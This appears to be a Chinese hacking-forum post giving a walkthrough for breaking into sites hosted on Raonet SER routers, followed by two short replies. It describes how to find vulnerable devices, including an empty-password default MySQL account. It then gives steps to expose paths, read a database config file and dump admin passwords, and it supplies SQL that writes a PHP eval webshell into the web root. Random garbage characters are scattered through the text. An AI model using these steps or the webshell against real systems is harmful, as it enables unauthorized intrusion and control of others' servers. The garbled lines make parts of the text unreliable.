利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：
  o9 g- J- x+ _# s! c4 S# G0 T: t/ _; g
- }3 Q2 ~& b# V3 {$ D* i1 M+ n1：google搜索'Raonet Subscriber Ethernet Router'

2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

0 E" ~) T+ h* ^1 x; }! r! Q8 u+ ?) p3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......

1 I4 _- ]( U* _6 B
3 S9 [6 I& ]  b6 J# j
入侵步骤：
( d0 E+ J+ w0 P$ Q' [
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
% q5 g9 Q4 p+ i( Z+ Q3：得到密码后连接，查看GUI管理密码：
use ser_500
4 b* f, e% O+ R4 z6 fselect id,passwd from user;
4:通过数据库写入webshell，执行命令：
' g/ h, ^2 I, S; R3 i* _use mysql;
  N  G4 u' O, N# C/ I4 v! R7 m: Wcreate table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
" p' K, N0 M* |' f; |$ o- C% Wdrop table ok;

, Z  _0 E9 }8 O7 B& ?) F2 ]3 W) ^5 x/ ?5:连接后门shell.php

6. 搞定！
# s& r8 u* R5 v1 ^3 ?+ u' ?% N

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。